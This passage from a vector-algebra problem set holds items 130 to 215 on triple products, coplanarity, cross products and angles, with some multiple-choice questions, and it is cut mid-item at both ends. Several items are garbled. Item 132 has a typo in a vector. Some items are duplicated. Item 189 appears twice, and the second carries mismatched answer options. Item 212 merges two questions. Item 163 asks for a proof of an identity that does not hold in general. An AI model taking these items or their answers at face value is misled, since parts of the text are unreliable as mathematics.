2\overrightarrow{k}\) Calculate the value of \([\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]\) and interpret the result. 130. Find the volume of the parallelopiped whose three coterminus edges are represented by \(2\overrightarrow{i} + 3\overrightarrow{j} + \overrightarrow{k}\), \(\overrightarrow{i} - \overrightarrow{j} + \overrightarrow{k}\), \(2\overrightarrow{i} + \overrightarrow{j} - \overrightarrow{k}\). 131. Find the volume of the parallelopiped, whose three coterminous edges are represented by the vectors $\hat{i} + \hat{j} + \hat{k}$, $\hat{i} - \hat{j} + \hat{k}$, $\hat{i} + 2\hat{j} - \hat{k}$. 132. Find the value of the constant $\lambda$ so that vectors $\vec{a} = 2\vec{i} - \vec{j} + \vec{k}$, $\vec{b} = \vec{i} + 2\vec{j} - 3\vec{j}$, and $\vec{c} = 3\vec{i} + \lambda\vec{j} + 5\vec{k}$ are coplanar. 133. Show that: \[ (\vec{a} + \vec{b}) \cdot \left\{ (\vec{b} + \vec{c}) \times (\vec{c} + \vec{a}) \right\} = 2 \left\{ \vec{a} \cdot (\vec{b} \times \vec{c}) \right\} \] 134. Show that the plane through the points $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ has the equation $$\begin{vmatrix} \overrightarrow{r} & \overrightarrow{b} & \overrightarrow{c} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix} + \begin{vmatrix} \overrightarrow{r} & \overrightarrow{c} & \overrightarrow{a} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix} + \begin{vmatrix} \overrightarrow{r} & \overrightarrow{a} & \overrightarrow{b} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix} = \begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix}$$ 135. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are coplanar then show that $\overrightarrow{a} \times \overrightarrow{b}$, $\overrightarrow{b} \times \overrightarrow{c}$ and $\overrightarrow{c} \times \overrightarrow{a}$ are also coplanar. 136. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are coplanar then show that $\overrightarrow{a} \times \overrightarrow{b}$, $\overrightarrow{b} \times \overrightarrow{c}$ and $\overrightarrow{c} \times \overrightarrow{a}$ are also coplanar. 137. If \[ \vec{A} = \frac{\vec{b} \times \vec{c}}{[\vec{b}, \vec{c}, \vec{a}]}, \vec{B} = \frac{\vec{c} \times \vec{a}}{[\vec{c}, \vec{a}, \vec{b}]}, \vec{C} = \frac{\vec{a} \times \vec{b}}{[\vec{a}, \vec{b}, \vec{c}]} \] find \[ [\vec{A}, \vec{B}, \vec{C}] \] 138. If the three vectors \( \vec{a}, \vec{b}, \vec{c} \) are non coplanar express each of \( \vec{b} \times \vec{c}, \vec{c} \times \vec{a}, \vec{a} \times \vec{b} \) in terms of \( \vec{a}, \vec{b}, \vec{c} \). 139. If the three vectors \( \vec{a}, \vec{b}, \vec{c} \) are non coplanar express \( \vec{a}, \vec{b}, \vec{c} \) each in terms of the vectors \( \vec{b} \times \vec{c}, \vec{c} \times \vec{a}, \vec{a} \times \vec{b} \). 140. Prove that \[ \begin{bmatrix} \overrightarrow{l} & \overrightarrow{m} & \overrightarrow{n} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{bmatrix} = \begin{vmatrix} \overrightarrow{l} \cdot \overrightarrow{a} & \overrightarrow{l} \cdot \overrightarrow{b} & \overrightarrow{l} \cdot \overrightarrow{c} \\ \overrightarrow{m} \cdot \overrightarrow{a} & \overrightarrow{m} \cdot \overrightarrow{b} & \overrightarrow{m} \cdot \overrightarrow{c} \\ \overrightarrow{n} \cdot \overrightarrow{a} & \overrightarrow{n} \cdot \overrightarrow{b} & \overrightarrow{n} \cdot \overrightarrow{c} \end{vmatrix} \] 141. If \(\overrightarrow{a} = a_1 \overrightarrow{l} + a_2 \overrightarrow{m} + a_3 \overrightarrow{n}\), \(\overrightarrow{b} = b_1 \overrightarrow{l} + b_2 \overrightarrow{m} + b_3 \overrightarrow{n}\) and \(\overrightarrow{c} = c_1 \overrightarrow{l} + v_2 \overrightarrow{m}\) are three non coplanar vectors then show that \[ \begin{bmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{bmatrix} = \begin{vmatrix} a_1 & a_2 & a_3 \\ b_1 & b_2 & b_3 \\ c_1 & c_2 & c_3 \end{vmatrix} \begin{bmatrix} \overrightarrow{l} & \overrightarrow{m} & \overrightarrow{n} \end{bmatrix} \] 142. Let \(k\) be the length of any edge of a regular tetrahedron (a tetrahedron whose edges are equal in length is called a regular tetrahedron). Show that the angle between any edge and a face not containing the edge is \(\cos^{-1}(1/\sqrt{3})\). 143. If \(a, b, c\) be the pth, qth and rth terms respectively of a HP, show that the points \((bc, p), (ca, q)\) and \((ab, r)\) are collinear. 144. Prove that \[ \begin{vmatrix} \cos(A - P) & \cos(A - Q) & \cos(A - R) \\ \cos(B - P) & \cos(B - Q) & \cos(B - R) \\ \cos(C - P) & \cos(C - Q) & \cos(C - R) \end{vmatrix} = 0. \] 145. Prove that for any nonzero scalar \(a\) the vectors \(a \vec{i} + 2a \vec{j} - 3a \vec{k}, (2a + 1) \vec{i} + (2a + 3) \vec{j} + (a + 1) \vec{k}\) and \((3a + 5) \vec{i}\) are non coplanar. 146. If vectors $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are coplanar, show that $$\begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \\ \overrightarrow{a} \cdot \overrightarrow{a} & \overrightarrow{a} \cdot \overrightarrow{b} & \overrightarrow{a} \cdot \overrightarrow{c} \\ \overrightarrow{b} \cdot \overrightarrow{a} & \overrightarrow{b} \cdot \overrightarrow{b} & \overrightarrow{b} \cdot \overrightarrow{c} \end{vmatrix} = \overrightarrow{0}$$ 147. Show that the points whose position vectors are $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$, $\overrightarrow{d}$ will be coplanar if $$\begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix} - \begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{d} \end{vmatrix} + \begin{vmatrix} \overrightarrow{a} & \overrightarrow{c} & \overrightarrow{d} \end{vmatrix} - \begin{vmatrix} \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{d} \end{vmatrix} = 0$$ 148. Prove that $\overrightarrow{i} \times (\overrightarrow{j} \times \overrightarrow{k}) = \overrightarrow{0}$ 149. Find the value of $$(\overrightarrow{i} - 2\overrightarrow{j} + \overrightarrow{k}) \times \left[ (2\overrightarrow{i} + \overrightarrow{j} + \overrightarrow{k}) \times (\overrightarrow{i} + 2\overrightarrow{j} - \overrightarrow{k}) \right]$$ 150. If $\vec{A} = 2\vec{i} + \vec{j} - 3\vec{k}$, $\vec{B} = \vec{i} - 2\vec{j} + \vec{k}$ and $\vec{C} = -\vec{i} + \vec{j} - 4\vec{k}$, find $\vec{A} \times (\vec{B} \times \vec{C})$. 151. Prove that $(\vec{b} \times \vec{c}) \times (\vec{c} \times \vec{a}) = [\vec{a}, \vec{b}, \vec{c}] \vec{c}$ 152. Prove that $(\vec{b} \times \vec{c}) \times (\vec{c} \times \vec{a}) = [\vec{a}, \vec{b}, \vec{c}] \vec{c}$ 153. Prove that: $[(\vec{a} \times \vec{b}) \times (\vec{a} \times \vec{c})] \cdot \vec{d} = [\vec{a}, \vec{b}, \vec{c}] (\vec{a} \cdot \vec{d})$ 154. If \(\overrightarrow{a} = \overrightarrow{i} + 2\overrightarrow{j} - \overrightarrow{k}\), \(\overrightarrow{b} = 2\overrightarrow{i} + \overrightarrow{j} + 3\overrightarrow{k}\), \(\overrightarrow{c} = \overrightarrow{i} - \overrightarrow{j} + \overrightarrow{k}\) and \(\overrightarrow{d} = 3\overrightarrow{i} - \overrightarrow{j} + 2\overrightarrow{k}\), then evaluate \((\overrightarrow{a} \times \overrightarrow{b}) \cdot (\overrightarrow{c} \times \overrightarrow{d})\). 155. If \(\overrightarrow{a} = \overrightarrow{i} + 2\overrightarrow{j} - \overrightarrow{k}\), \(\overrightarrow{b} = 2\overrightarrow{i} + \overrightarrow{j} + 3\overrightarrow{k}\), \(\overrightarrow{c} = \overrightarrow{i} - \overrightarrow{j} + \overrightarrow{k}\) and \(\overrightarrow{d} = 3\overrightarrow{i} - \overrightarrow{j} + 2\overrightarrow{k}\), then evaluate \((\overrightarrow{a} \times \overrightarrow{b}) \times (\overrightarrow{c} \times \overrightarrow{d})\). 156. Prove that \(\overrightarrow{a} \times \left\{ \overrightarrow{b} \times \left( \overrightarrow{c} \times \overrightarrow{d} \right) \right\} = \left( \overrightarrow{b} \cdot \overrightarrow{d} \right) \left( \overrightarrow{a} \times \overrightarrow{c} \right) - \left( \overrightarrow{b} \cdot \overrightarrow{c} \right) \left( \overrightarrow{a} \times \overrightarrow{d} \right)\). 157. Prove that: \( \overrightarrow{a} \times \left[ \overrightarrow{b} \times \left( \overrightarrow{c} \times \overrightarrow{a} \right) \right] = \left( \overrightarrow{a} \cdot \overrightarrow{b} \right) \left( \overrightarrow{a} \times \overrightarrow{c} \right) \) 158. If the vectors \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}, \overrightarrow{d} \) are coplanar show that \( \left( \overrightarrow{a} \times \overrightarrow{b} \right) \times \left( \overrightarrow{c} \times \overrightarrow{d} \right) = \overrightarrow{0} \) 159. Show that the components of \( \overrightarrow{b} \) parallel to \( \overrightarrow{a} \) and perpendicular to it are \( \frac{\left( \overrightarrow{a} \cdot \overrightarrow{b} \right) \overrightarrow{a}}{\overrightarrow{a}^2} \) and \( \left( \left( \overrightarrow{a} \times \overrightarrow{b} \right) \overrightarrow{a} \right) \frac{1}{\overrightarrow{a}^2} \) respectively. 160. If $\overrightarrow{a}$ and $\overrightarrow{b}$ be two non collinear vectors such that $\overrightarrow{a} = \overrightarrow{c} + \overrightarrow{d}$, where $\overrightarrow{c}$ is parallel to $\overrightarrow{b}$ and $\overrightarrow{d}$ is perpendicular to $\overrightarrow{b}$ obtain expression for $\overrightarrow{c}$ and $\overrightarrow{d}$ in terms of $\overrightarrow{a}$ and $\overrightarrow{b}$ as: $$\overrightarrow{d} = \overrightarrow{a} - \frac{(\overrightarrow{a} \cdot \overrightarrow{b})}{b^2} \overrightarrow{b}, \quad \overrightarrow{c} = \frac{(\overrightarrow{a} \cdot \overrightarrow{b})}{b^2} \overrightarrow{b}$$ 161. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ and $\overrightarrow{a}'$, $\overrightarrow{b}'$, $\overrightarrow{c}'$ are reciprocal system of vectors prove that $\overrightarrow{a} \times \overrightarrow{a}' + \overrightarrow{b} \times \overrightarrow{b}' + \overrightarrow{c} \times \overrightarrow{c}' = \overrightarrow{0}$ 162. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ and $\overrightarrow{a}'$, $\overrightarrow{b}'$, $\overrightarrow{c}'$ are reciprocal system of vectors, then prove that $\overrightarrow{a}' \times \overrightarrow{b}' \times \overrightarrow{b}, \times \overrightarrow{c}' + \overrightarrow{c}' \times \overrightarrow{a}', = \frac{\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}}{[\overrightarrow{a} \overrightarrow{b} \overrightarrow{c}]}$ 163. Prove that \[ \overrightarrow{a} \cdot (\overrightarrow{b} + \overrightarrow{c}) + \overrightarrow{b} \cdot (\overrightarrow{c} + \overrightarrow{a}) + \overrightarrow{c} \cdot (\overrightarrow{a} + \overrightarrow{b}) = 0 \] 164. The condition for equations \( \overrightarrow{r} \times \overrightarrow{a} = \overrightarrow{b} \) and \( \overrightarrow{r} \times \overrightarrow{c} = \overrightarrow{d} \) to be consistent is 165. Solve \( a \cdot r = x, b \cdot r = y, c \cdot r = z \), where \( a, b, c \) are given non-coplanar vectors. 166. If \( \overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c} \) are mutually perpendicular vectors each of magnitude 3 then \( |\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}| \) is equal (A) 3 (B) 9 (C) \( 3\sqrt{3} \) (D) none of these 167. Let the vectors $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ be the position vectors of the vertices P,Q,R respectively of a triangle. Which of the following represents the area of the triangle? (A) $\frac{1}{2} \left| \overrightarrow{a} \times \overrightarrow{b} \right|$ (B) $\frac{1}{2} \left| \overrightarrow{b} \times \overrightarrow{c} \right|$ (C) $\frac{1}{2} \left| \overrightarrow{c} \times \overrightarrow{a} \right|$ (D) $\frac{1}{2} \left| \overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a} \right|$ 168. If the vectors $\overrightarrow{a} = 2\hat{i} - \hat{j} + \hat{k}$, $\overrightarrow{b} = \hat{i} + 2\hat{j} - 3\hat{k}$ and $\overrightarrow{c} = 3\hat{i} + \lambda\hat{j} + 5\hat{k}$ are coplanar the value of $\lambda$ is (A) -1 (B) 3 (C) -4 (D) $-\frac{1}{4}$ 169. Let $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ be three units vectors such that $3\overrightarrow{a} + 4\overrightarrow{b} + 5\overrightarrow{c} = 0$. Then which of the following statements is true? 170. If $\vec{a}, \vec{b}, \vec{c}$ are three unit vectors such that $\vec{a} + \vec{b} + \vec{c} = 0$, then $\vec{a} \cdot \vec{b} + \vec{b} \cdot \vec{c} + \vec{c} \cdot \vec{a}$ is equal to (A) -1 (B) 3 (C) 0 (D) $-\frac{3}{2}$ 171. If vector $\vec{a}$ lies in the plane of vectors $\vec{b}$ and $\vec{c}$ which of the following is correct? (A) $\vec{a} \cdot (\vec{b} \times \vec{c}) = -1$ (B) $\vec{a} \cdot (\vec{b} \times \vec{c}) = 0$ (C) $\vec{a} \cdot (\vec{b} \times \vec{c}) = 1$ (D) $\vec{a} \cdot (\vec{b} \times \vec{c}) = 2$ 172. The value of $\lambda$ so that unit vectors $\frac{2\hat{i} + \lambda\hat{j} + \hat{k}}{\sqrt{5 + \lambda^2}}$ and $\frac{\hat{i} - 2\hat{j} + 3\hat{k}}{\sqrt{14}}$ are orthogonal (A) $\frac{3}{7}$ (B) $\frac{5}{2}$ (C) $\frac{2}{5}$ (D) $\frac{2}{7}$ 173. The vector \((\vec{a} - \vec{b}) \times (\vec{a} + \vec{b})\) is equal to (A) \(\frac{1}{2}(\vec{a} \times \vec{b})\) (B) \(\vec{a} \times \vec{b}\) (C) \(2(\vec{a} + \vec{b})\) (D) \(2(\vec{a} \times \vec{b})\) 174. For two vectors \(\vec{a}\) and \(\vec{b}\), \(\vec{a}, \vec{b} = |\vec{a}||\vec{b}|\) then (A) \(\vec{a} \parallel \vec{b}\) (B) \(\vec{a} \perp \vec{b}\) (C) \(\vec{a} = \vec{b}\) (D) none of these 175. A unit vector in the xy-plane that makes an angle of \(\frac{\pi}{4}\) with the vector \(\hat{i} + \hat{j}\) and an angle of 'pi/3' with the vector \(3\hat{i} - 4\hat{j}\) is 176. If \(\vec{a}\), \(\vec{b}\) and \(\vec{c}\) are three mutually perpendicular vectors, then the vector which is equally inclined to these vectors is 177. If $\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c} = 0$, $|\overrightarrow{a}| = 3$, $|\overrightarrow{b}| = 5$, $|\overrightarrow{c}| = 7$ find the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$. 178. If the sides of an angle are given by vectors $\overrightarrow{a} = \hat{i} - 2\hat{j} + 2\hat{k}$ and $\overrightarrow{b} = 2\hat{i} + \hat{j} + 2\hat{k}$, then find the internal bisector of the angle. 179. Let $ABC$ be a triangle, the position vectors of whose vertices are respectively $\hat{i} + 2\hat{j} + 4\hat{k}$, $-2\hat{i} + 2\hat{j} + \hat{k}$ and $2\hat{i} + 4\hat{j} - 3\hat{k}$. Then $\Delta ABC$ is 180. \( P(1, 0, -1), Q(2, 0, -3), R(-1, 2, 0) \) and \( S(3, -2, -1) \) are four points and \( d \) is the projection of \( \overrightarrow{PQ} \) on \( \overrightarrow{RS} \) then which of the following is (are) true? (A) \( d = \frac{6}{\sqrt{165}} \) (B) \( d = \frac{6}{\sqrt{33}} \) (C) \( \frac{8}{\sqrt{33}} \) (D) \( d = \frac{6}{\sqrt{5}} \) 181. If the angle between unit vectors \( \overrightarrow{a} \) and \( \overrightarrow{b} \) is \( 60^\circ \). Then find the value of \( |\overrightarrow{a} - \overrightarrow{b}| \). 182. The vector(s) equally inclined to the vectors \( \hat{i} - \hat{j} + \hat{k} \) and \( \hat{i} + \hat{j} - \hat{k} \) in the plane containing them is (are) (A) \( \frac{\hat{i} + \hat{j} + \hat{k}}{\sqrt{3}} \) (B) \( \hat{i} \) (C) \( \hat{i} + \hat{k} \) (D) \( \hat{i} - \hat{k} \) 183. If $\overrightarrow{a} \cdot \overrightarrow{b} = \beta$ and $\overrightarrow{a} \times \overrightarrow{b} = \overrightarrow{c}$, then $\overrightarrow{b}$ is 184. If $\overrightarrow{a}, \overrightarrow{b}, \overrightarrow{c}$ are unity vectors such that $\overrightarrow{d} = \lambda \overrightarrow{a} + \mu \overrightarrow{b} + \gamma \overrightarrow{c}$ then $\lambda$ is equal to (A) $\begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \\ \overrightarrow{b} & \overrightarrow{a} & \overrightarrow{c} \end{vmatrix}$ (B) $\begin{vmatrix} \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{d} \\ \overrightarrow{b} & \overrightarrow{c} & \overrightarrow{a} \end{vmatrix}$ (C) $\begin{vmatrix} \overrightarrow{b} & \overrightarrow{d} & \overrightarrow{c} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix}$ (D) $\begin{vmatrix} \overrightarrow{c} & \overrightarrow{b} & \overrightarrow{d} \\ \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix}$ 185. If $|\overrightarrow{a} + \overrightarrow{b}| < |\overrightarrow{a} - \overrightarrow{b}|$, then the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ can lie in the interval 186. If $a(\overrightarrow{\alpha} \times \overrightarrow{\beta}) \times (\overrightarrow{\beta} \times \overrightarrow{\gamma}) + c(\overrightarrow{\gamma} \times \overrightarrow{\alpha}) = 0$ and at least one of $a, b$ and $c$ is non-zero, then vector $\overrightarrow{\alpha}, \overrightarrow{\beta}$ and $\overrightarrow{\gamma}$ are 187. If $\overrightarrow{a}$, $\overrightarrow{b}$ and $\overrightarrow{c}$ are mutually perpendicular vectors and $$\overrightarrow{a} = \alpha (\overrightarrow{a} \times \overrightarrow{b}) + \beta (\overrightarrow{b} \times \overrightarrow{c}) + \gamma (\overrightarrow{c} \times \overrightarrow{a})$$ and $$\begin{vmatrix} \overrightarrow{a} & \overrightarrow{b} & \overrightarrow{c} \end{vmatrix} = 1,$$ then find the value of $\alpha + \beta + \gamma$ 188. If the vectors $a\hat{i} + b\hat{j} + c\hat{k}, b\hat{i} + c\hat{j} + a\hat{k}$ and $c\hat{i} + a\hat{j} + b\hat{k}$ are coplanar and $a,b,c$ are distinct then (A) $a^3 + b^3 + c^3 = 1$ (B) $a + b + c = 1$ (C) $\frac{1}{a} + \frac{1}{b} + \frac{1}{c} = 1$ (D) $a+b+c=0$ 189. Given three vectors $\overrightarrow{a} = 6\hat{i} - 3\hat{j}$, $\overrightarrow{b} = 2\hat{i} - 6\hat{j}$ and $\overrightarrow{c} = -2\hat{i} + 21\hat{j}$ such that $\overrightarrow{\alpha} = \overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}$. Then the resolution of the vector $\overrightarrow{\alpha}$ into components 189. If $\overrightarrow{a}$ and $\overrightarrow{b}$ are unit vectors such that $2\overrightarrow{a} - \overrightarrow{b}$ is perpendicular to $\overrightarrow{a} + 3\overrightarrow{b}$, then the angle between $\overrightarrow{a}$ and $\overrightarrow{b}$ is given by (A) $3\overrightarrow{a} - 2\overrightarrow{b}$ (B) $2\overrightarrow{a} - 3\overrightarrow{b}$ (C) $3\overrightarrow{b} - 2\overrightarrow{a}$ (D) none of these 190. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are unit vectors such that veca is perpendicular to $\overrightarrow{b}$ and $\overrightarrow{c}$ and $|\overrightarrow{a} + \overrightarrow{b} + \overrightarrow{c}| = 1$ then the angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ is (A) $\frac{\pi}{2}$ (B) pi (C) 0 (D) $(2\pi)/3$ 191. If $\overrightarrow{a} = (3, 1)$ and $\overrightarrow{b} = (1, 2)$ represent the sides of a parallelogram then the angle $\theta$ between the diagonals of the paralelogram is given by (A) $\theta = \cos^{-1}\left(\frac{1}{\sqrt{5}}\right)$ (B) $\theta = \cos^{-1}\left(\frac{2}{\sqrt{5}}\right)$ (C) $\theta = \cos^{-1}\left(\frac{1}{2\sqrt{5}}\right)$ (D) $\theta = \frac{\pi}{2}$ 192. If vectors $\overrightarrow{a}$ and $\overrightarrow{b}$ are two adjacent sides of a parallelogram, then the vector representing the altitude of the parallelogram which is perpendicular to $\overrightarrow{a}$ is 193. If $A, B, C, D$ be any four points in space, prove that \[ \left| \overrightarrow{AB} \times \overrightarrow{CD} + \overrightarrow{BC} \times \overrightarrow{AD} + \overrightarrow{CA} \times \overrightarrow{BD} \right| = 4 \text{ (Area of triangle ABC)} \] 194. Let $\overrightarrow{a}, \overrightarrow{b}$ and $\overrightarrow{c}$ be three non-coplanar vectors and $\overrightarrow{r}$ be any arbitrary vector. Then \[ \left( \overrightarrow{a} \times \overrightarrow{b} \right) \times \left( \overrightarrow{r} \times \overrightarrow{c} \right) + \left( \overrightarrow{b} \times \overrightarrow{c} \right) \times \left( \overrightarrow{r} \times \overrightarrow{a} \right) + \left( \overrightarrow{c} \times \overrightarrow{a} \right) \left( \overrightarrow{r} \times \overrightarrow{b} \right) \] is always equal to 195. If $\vec{u}$, $\vec{v}$ and $\vec{w}$ are vectors such that $\vec{u} + \vec{v} + \vec{w} = \vec{0}$ then $$\left[ \vec{u} + \vec{v} \vec{v} + \vec{w} \vec{w} + \vec{u} \right] = (A) 1 (B) \begin{bmatrix} \vec{u} & \vec{v} & \vec{w} \end{bmatrix} (C) 0 (D) -1$$ 196. If $\vec{a}$, $\vec{b}$ and $\vec{c}$ are three mutually perpendicular unit vectors then $$(\vec{r} \cdot \vec{a}) \vec{a} + (\vec{r} \cdot \vec{b}) \vec{b} + (\vec{r} \cdot \vec{c}) \vec{c} = (A) \frac{\begin{bmatrix} \vec{a} & \vec{b} & \vec{c} \end{bmatrix} \vec{r}}{2} (B) \vec{r} (C) 2 \begin{bmatrix} \vec{a} & \vec{b} & \vec{c} \end{bmatrix} (D) \text{none of these}$$ 197. If $\vec{a}$ and $\vec{b}$ be any two mutually perpendicular vectors and $\vec{\alpha}$ be any vector then $$\left| \vec{a} \times \vec{b} \right|^2 \frac{(\vec{a} \cdot \vec{\alpha}) \vec{a}}{\left| \vec{a} \right|^2} + \left| \vec{a} \times \vec{b} \right|^2 \frac{(\vec{b} \cdot \vec{\alpha}) \vec{b}}{\left| \vec{b} \right|^2} - \left| \vec{a} \times \vec{b} \right|^2 \vec{\alpha} = (A) \left| \begin{array}{ccc} \vec{a} & \vec{b} & \vec{\alpha} \end{array} \right| \left( \vec{a} \times \vec{b} \right) (B) \begin{bmatrix} \vec{a} & \vec{b} & \vec{\alpha} \end{bmatrix} \left( \vec{b} \times \vec{a} \right) (C) \begin{bmatrix} \vec{a} & \vec{b} & \vec{\alpha} \end{bmatrix} \left( \vec{a} \times \vec{b} \right) (D) \text{none of these}$$ 198. If $\vec{a}$, $\vec{b}$, $\vec{c}$ are non coplanar vectors then $$\frac{\left[ \vec{a} + 2 \vec{b} \vec{b} + 2 \vec{c} \vec{c} + 2 \vec{a} \right]}{\left[ \vec{a} \vec{b} \vec{c} \right]} = (A) 3 (B) 9 (C) 8 (D) 6$$ 199. The vector $\vec{a} = \frac{1}{4} \left( 2\hat{i} - 2\hat{j} + \hat{k} \right)$ (A) is a unit vector (B) makes an angle of $\frac{\pi}{3}$ with the vector $\left( \hat{i} + \frac{1}{2}\hat{j} - \hat{k} \right)$ (C) is parallel to the vector $\frac{7}{4}\hat{i} - \frac{7}{4}\hat{j} + \frac{7}{8}\hat{k}$ (D) none of these 200. The vector $\vec{a} \times \left( \vec{b} \times \vec{c} \right)$ can be represented in the form (A) $\alpha \vec{a}$ (B) $\alpha \vec{b}$ (C) $\alpha \vec{c}$ (D) $\alpha \vec{b} + \beta \vec{c}$ 201. The points \( A \equiv (3, 10), B \equiv (12, -5) \) and \( C \equiv (\lambda, 10) \) are collinear then \( \lambda = \) (A) 3 (B) 4 (C) 5 (D) none of these 202. Two vectors \( \overrightarrow{\alpha} = 3\hat{i} + 4\hat{j} \) and \( \overrightarrow{\beta} = 5\hat{i} + 2\hat{j} - 14\hat{k} \) have the same initial point then their angular bisector having magnitude \( \frac{7}{3} \) be (A) \( \frac{7}{3\sqrt{6}}(2\hat{i} + \hat{j} - \hat{k}) \) (B) \( \frac{7}{3\sqrt{3}}(\hat{i} + \hat{j} - \hat{k}) \) (C) \( \frac{7}{3\sqrt{3}}(\hat{i} - \hat{j} + \hat{k}) \) (D) \( \frac{7}{3\sqrt{3}}(\hat{i} - \hat{j} - \hat{k}) \) 203. If \( \overrightarrow{d} = \overrightarrow{a} \times \overrightarrow{b} + \overrightarrow{b} \times \overrightarrow{c} + \overrightarrow{c} \times \overrightarrow{a} \) is a non-zero vector and \[ \left| \left( \overrightarrow{d} \cdot \overrightarrow{c} \right) \left( \overrightarrow{a} \times \overrightarrow{b} \right) + \left( \overrightarrow{d} \cdot \overrightarrow{a} \right) \left( \overrightarrow{b} \times \overrightarrow{c} \right) + \left( \overrightarrow{d} \cdot \overrightarrow{b} \right) \left( \overrightarrow{c} \times \overrightarrow{a} \right) \right| = 0 \] then 204. If $\overrightarrow{a}$, $\overrightarrow{b}$, $\overrightarrow{c}$ are three coplanar unit vectors such that $$\overrightarrow{a} \times (\overrightarrow{b} \times \overrightarrow{c}) = -\frac{\overrightarrow{b}}{2}$$ then the angle between $\overrightarrow{b}$ and $\overrightarrow{c}$ can be (A) $\frac{\pi}{2}$ (B) $\frac{\pi}{6}$ (C) $\pi$ (D) $\frac{2\pi}{3}$ 205. The two lines $$\overrightarrow{r} = \overrightarrow{a} + \lambda (\overrightarrow{b} \times \overrightarrow{c})$$ and $$\overrightarrow{r} = \overrightarrow{b} + \mu (\overrightarrow{c} \times \overrightarrow{a})$$ intersect at a point where $\lambda$ and $\mu$ are scalars then 206. If $\overrightarrow{A}$, $\overrightarrow{B}$ and $\overrightarrow{C}$ are vectors such that $|\overrightarrow{B}| = |\overrightarrow{C}|$ prove that $$\left[ (\overrightarrow{A} + \overrightarrow{B}) \times (\overrightarrow{A} + \overrightarrow{C}) \right] \times (\overrightarrow{B} + \overrightarrow{C}). (\overrightarrow{B} + \overrightarrow{C}) = 0$$ 207. A parallelogram is constructed on $3\vec{a} + \vec{b}$ and $\vec{a} - 4\vec{b}$, where $|\vec{a}| = 6$ and $|\vec{b}| = 8$ and $\vec{a}$ and $\vec{b}$ are anti-parallel. Then the length of the longer diagonal is 208. If $\vec{a}$ is any vector and $\hat{i}$, $\hat{j}$ and $\hat{k}$ are unit vectors along the x, y, and z directions then $\hat{i} \times (\vec{a} \times \hat{i}) + \hat{j} \times (\vec{a} \times \hat{j}) + \hat{k} \times (\vec{a} \times \hat{k}) =$ (A) $\vec{a}$ (B) $-\vec{a}$ (C) $2\vec{a}$ (D) $0$ 209. If $(\vec{a} \times \vec{b}) \times (\vec{b} \times \vec{c}) = \vec{b}$, where $\vec{a}$, $\vec{b}$, and $\vec{c}$ are non-zero vectors, then 210. If $\vec{a}$ is any then $|\vec{a} \cdot \hat{i}|^2 + |\vec{a} \cdot \hat{j}|^2 + |\vec{a} \cdot \hat{k}|^2 =$ (A) $|\vec{a}|^2$ (B) $|\vec{a}|$ (C) $2|\vec{a}|$ (D) none of these 211. Let $\vec{a}, \vec{b}$ and $\vec{c}$ are vectors such that $|\vec{a}| = 3, |\vec{b}| = 4$ and $|\vec{c}| = 5$, and $(\vec{a} + \vec{b})$ is perpendicular to $\vec{c}$, $(\vec{b} + \vec{c})$ is perpendicular to $\vec{a}$ and $(\vec{c} + \vec{a})$ is perpendicular to $\vec{b}$. Then find the value of $|\vec{a} + \vec{b} + \vec{c}|$. 212. If $|\vec{a}| = 2$ and $|\vec{b}| = 3$ and $\vec{a} \cdot \vec{b} = 0$, then $(\vec{a} \times (\vec{a} \times (\vec{a} \times (\vec{a} \times \vec{b})}))$ is equal to the given diagonal is $\vec{c} = 4\hat{k} = 8\hat{k}$ then, the volume of a parallelepiped is 213. If \( \left| \overrightarrow{a} \cdot \overrightarrow{b} \right| = \sqrt{3} \left| \overrightarrow{a} \times \overrightarrow{b} \right| \) then the angle between \( \overrightarrow{a} \) and \( \overrightarrow{b} \) is (A) \( \frac{\pi}{6} \) (B) \( \frac{\pi}{4} \) (C) \( \frac{\pi}{3} \) (D) \( \frac{\pi}{2} \) 214. If \( \hat{a} \) and \( \hat{b} \) are two unit vectors and \( \theta \) is the angle between them then vector \( 2\hat{b} + \hat{a} \) is a unit vector if (A) \( \theta = \frac{\pi}{3} \) (B) \( \theta = \frac{\pi}{6} \) (C) \( \theta = \frac{\pi}{2} \) (D) \( \theta = \pi \) 215. If \( 